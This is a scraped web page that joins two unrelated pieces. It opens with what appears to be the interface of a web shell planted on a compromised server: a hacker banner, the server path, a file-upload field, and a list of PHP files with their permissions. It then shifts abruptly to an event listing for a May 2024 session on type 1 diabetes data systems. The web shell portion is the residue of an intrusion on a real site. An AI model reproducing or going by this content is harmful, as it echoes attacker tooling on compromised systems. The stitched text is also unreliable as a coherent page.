I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
AOC.php433 KBNovember 07 2023 22:27:240666
Acer.php3432 KBNovember 07 2023 22:27:240666
Alcatel.php10817 KBNovember 07 2023 22:27:240666
Allview.php971 KBNovember 07 2023 22:27:240666
Amazon.php4223 KBNovember 07 2023 22:27:240666
Apple.php7956 KBNovember 07 2023 22:27:240666
Archos.php5338 KBNovember 07 2023 22:27:240666
Asus.php6090 KBNovember 07 2023 22:27:240666
Blackberry.php9246 KBNovember 07 2023 22:27:240666
Dell.php2199 KBNovember 07 2023 22:27:240666
Google.php4900 KBNovember 07 2023 22:27:240666
HP.php1743 KBNovember 07 2023 22:27:240666
HTC.php76483 KBNovember 07 2023 22:27:240666
Huawei.php6001 KBNovember 07 2023 22:27:240666
LG.php6819 KBNovember 07 2023 22:27:240666
Lava.php3572 KBNovember 07 2023 22:27:240666
Leader.php234 KBNovember 07 2023 22:27:240666
Lenovo.php14945 KBNovember 07 2023 22:27:240666
Mi.php4824 KBNovember 07 2023 22:27:240666
Microsoft.php12993 KBNovember 07 2023 22:27:240666
Motorola.php10339 KBNovember 07 2023 22:27:240666
Mpman.php632 KBNovember 07 2023 22:27:240666
Nexus.php3370 KBNovember 07 2023 22:27:240666
Nokia.php21576 KBNovember 07 2023 22:27:240666
Onda.php1347 KBNovember 07 2023 22:27:240666
Others.php54366 KBNovember 07 2023 22:27:240666
Prestigio.php1577 KBNovember 07 2023 22:27:240666
Samsung.php60435 KBNovember 07 2023 22:27:240666
Sony.php19879 KBNovember 07 2023 22:27:240666
SpecialCases.php28436 KBNovember 07 2023 22:27:240666
Verizon.php1293 KBNovember 07 2023 22:27:240666
Vodafone.php1180 KBNovember 07 2023 22:27:240666
ZTE.php1314 KBNovember 07 2023 22:27:240666
VORNE.AI - Event Details
Reaching Diabetes Global Compact Goals
29 May
2024
CHIEF

Reaching Diabetes Global Compact Goals

At the 75th World Health Assembly, a coverage target for people living with type 1 diabetes (T1D) was introduced: 100% of people with type 1 diabetes should have access to affordable insulin and blood glucose self-monitoring. It is estimated that more than 1 million children live with T1D. No international and limited national data currently exist on the incidence and prevalence of T1D. Explore lessons for leapfrogging data systems for Type 1 Diabetes in this interactive session.

Wednesday 29 May | 08H00-10H00 | Intercontinental Hotel, Ballroom A

Tags: